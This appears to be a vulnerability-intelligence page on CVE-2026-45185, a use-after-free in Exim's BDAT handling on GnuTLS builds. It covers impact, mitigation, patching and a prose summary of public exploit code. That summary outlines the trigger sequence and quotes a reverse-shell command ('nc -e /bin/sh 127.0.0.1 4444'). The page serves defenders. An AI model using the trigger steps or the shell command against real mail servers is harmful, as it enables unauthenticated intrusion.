Skip to main content
Mallory
CriticalPublic exploitVulnerability

CVE-2026-45185: Dead.Letter

Published May 12, 2026 · Updated 1 month ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
CVSS9.8Critical · v3.1
EPSS1.3%71st percentile
CISA KEVNoNot listed
In the wildNonePublic exploit, no exploitation reported
Vendor
Exim
IdentifiersCVE-2026-45185CWE-416 · Use After Free

Dead.Letter is a remotely reachable use-after-free vulnerability in the BDAT message body parsing path of Exim versions 4.97 through 4.99.2 compiled with GnuTLS support. During an active SMTP CHUNKING transfer, a client can send a TLS close_notify alert before the body is complete, followed by a final cleartext byte on the same TCP connection. TLS teardown frees the transfer buffer but leaves stale lower-layer receive callbacks in the nested BDAT processing stack. Subsequent processing can invoke tls_ungetc() against the freed buffer, producing a single-byte heap write. This can corrupt allocator metadata and potentially enable unauthenticated remote code execution. OpenSSL-based builds are not affected.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation can allow an unauthenticated remote attacker to execute arbitrary code in the affected Exim process, compromising the mail service and data accessible to that process. Potential consequences include access to sensitive email, unauthorized command execution, and further compromise of the environment, subject to process privileges and network access. The underlying heap corruption can also disrupt service. Reliable code execution depends on the target environment; ASLR, PIE, and allocator protections complicate exploitation but do not remediate the vulnerability.

Mitigation

If you can’t patch tonight, do this now.

The Exim advisory states that there is no known mitigation that resolves the vulnerability other than upgrading. Disabling CHUNKING advertisement through chunking_advertise_hosts has been suggested as an exposure-reduction measure, but it should not be treated as a vendor-confirmed substitute for the security update.

Remediation

Patch, then assume compromise.

Upgrade affected installations to Exim 4.99.3 or later, or install a distribution-provided security update containing the corresponding fix. The fix resets the input processing stack when a TLS close notification arrives during an active BDAT transfer, preventing stale receive callbacks and pointers from being used after TLS teardown.

Public exploits

Exploits

1 exploit validated by Mallory's analysis. Hidden: 3 rejected by Mallory's analysis as not a working exploit.

View more in app →
CVE-2026-45185This repository contains a compact exploit set for CVE-2026-45185 ('Dead.Letter'), a pre-authentication heap use-after-free in Exim SMTP on Ubuntu/GnuTLS builds when CHUNKING/BDAT is enabled. The repository has 4 files: a README, a Nuclei template, a Python network PoC, and a Python GDB harness. Because it includes a Nuclei template, it is framework-associated, but the repository itself also contains standalone exploit code beyond detection. Main capabilities: the Nuclei template performs safe detection only, fingerprinting Exim over raw TCP on ports 25 and 587 by checking the SMTP banner/EHLO response for vulnerable versions, Ubuntu/GnuTLS indicators, and CHUNKING support, then confirming BDAT handler behavior with an out-of-sequence 'BDAT 200' probe. The standalone poc.py is a real network trigger: it connects to SMTP, performs EHLO, STARTTLS, a TLS-wrapped EHLO, MAIL FROM, RCPT TO, enters BDAT mode, sends a partial body, then sends TLS close_notify via unwrap() while the server is mid-body-read, followed by a cleartext byte to drive execution back into the stale session pointer path. This PoC does not include a remote payload and is intended to demonstrate reachability of the UAF path. The most offensive component is diag19_gdb.py, a local debugger-assisted exploit harness for lab use. It sets multiple GDB breakpoints on Exim/GnuTLS functions, captures the freed gnutls session pointer, restores Exim's read callback to keep the freed TLS session reachable, and writes crafted values into the freed chunk after gnutls_deinit() returns. It overwrites the pull function pointer with system(), points the transport pointer at an injected command buffer, and uses the command 'nc -e /bin/sh 127.0.0.1 4444' to launch a reverse shell. This is not a standalone remote exploit; it requires local GDB control, ASLR disabled, and matching binary/library versions, but it demonstrates a path from UAF to code execution. Repository structure and purpose: README.md documents the vulnerability, affected versions, lab setup, usage examples, and remediation. CVE-2026-45185.yaml is a read-only detection template for Nuclei. poc.py is the primary standalone exploit entry point for reproducing the vulnerable network state. diag19_gdb.py is a post-trigger exploitation aid for controlled lab validation of RCE. Overall, the repository's purpose is to provide detection, reproduction, and lab-grade exploitation material for Exim CVE-2026-45185.0init · Disclosed Aug 7, 2026 · Framework: nuclei · yaml · markdown · network · web · localWeaponized
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
EximEximapplication
FAQ

Frequently asked questions

Is CVE-2026-45185 exploited in the wild?
As of Oct 21, 2026, Mallory has no reports of CVE-2026-45185 being exploited in the wild. It is not listed in CISA KEV.
Is there a public exploit for CVE-2026-45185?
Yes. Mallory tracks 1 public exploit or proof of concept for CVE-2026-45185, the earliest disclosed Aug 7, 2026.
Is there a patch for CVE-2026-45185?
Upgrade affected installations to Exim 4.99.3 or later, or install a distribution-provided security update containing the corresponding fix. The fix resets the input processing stack when a TLS close notification arrives during an active BDAT transfer, preventing stale receive callbacks and pointers from being used after TLS teardown.
What products are affected by CVE-2026-45185?
Exim.
How severe is CVE-2026-45185?
CVE-2026-45185 has a CVSS v3.1 score of 9.8 (Critical) and an EPSS score of 1.3% (71st percentile) as of Oct 21, 2026.
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidenceEvery report linking this CVE to a named adversary.
Associated malwareMalware families linked to this CVE, with evidence and IOCs.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity84Community discussion across Reddit, Mastodon, and other social sources.